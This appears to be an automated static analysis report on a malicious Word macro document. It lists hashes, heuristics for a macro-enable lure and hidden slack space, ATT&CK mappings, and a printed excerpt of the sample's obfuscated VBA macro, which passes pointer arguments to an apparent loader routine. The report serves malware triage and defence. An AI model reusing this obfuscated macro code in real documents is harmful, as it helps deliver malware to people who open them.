Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4b20f7ef967ac06…

MALICIOUS

Office (OLE)

210.0 KB Created: 2017-10-05 14:11:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 207132dc106b4e473f79793c6d34b3af SHA-1: efaddac81cf4b87a6dcc1752634ae63c2ff7aaad SHA-256: c4b20f7ef967ac0694d2fbeafcdcba0f2e581636711806a30345b525f1eff360
82 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an OLE document containing VBA macros, with a heuristic indicating a lure to enable macros. The VBA code appears to be obfuscated but likely performs malicious actions such as downloading a payload. The presence of VBA macros and the lure to enable them strongly suggests a spearphishing attachment attack vector.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 215,040 bytes but its declared streams total only 126,115 bytes — 88,925 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1482 bytes
SHA-256: baa996284fdbdc42557a1972b9b80c510135044222238ec4c8aff2d6a7e87b00
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "muse"
Attribute VB_Base = "0{0DDCC70F-9313-4CB2-9902-4930CEABED4F}{565D2A9F-95E7-4FB3-A81E-7D188D04AC7F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"

Function embowel(hookah, fairymythology, synercus)
#If ((18 * 3) - (20 / 5)) > (24 / 6) And (Win64) > (90 - 15 * 6) * 2 Then
Dim ardor As Integer
Dim anserine As Byte
Dim aguets As LongPtr
Dim annexe As LongPtr
Dim ages As LongPtr
Dim mint As Variant
Dim arius As LongPtr
Dim heterometabolous As LongPtr
#End If
#If ((18 * 3) - (20 / 5)) > (24 / 6) And Not (Win64) > (90 - 15 * 6) * 2 Then
Dim annexe As Long
Dim baptismal As Variant
Dim aguets As Long
Dim stumblingstone As Variant
Dim arius As Long
Dim pyrotechnics As Long
Dim ages As Long
Dim snappish As String
Dim heterometabolous As Long
Dim highpitched As Variant
Dim defamation As String
#End If
millivoltmeter = chaplaincy
chihuahua = Rnd(461)
annexe = hookah
heterometabolous = synercus
chaplaincy = balaeniceps
arius = fairymythology
guenon = 20 + 3
hardbake = 29280 + 0
microsecond = 297550 + 5
 Pmt 0, guenon, 13596, 10065, 4

chihuahua = chihuahua Or 245
aguets = 81 - 1 - 81
bon ByVal aguets, annexe, arius, heterometabolous, ages
chihuahua = chihuahua - 158
End Function

Attribute VB_Name = "Module2"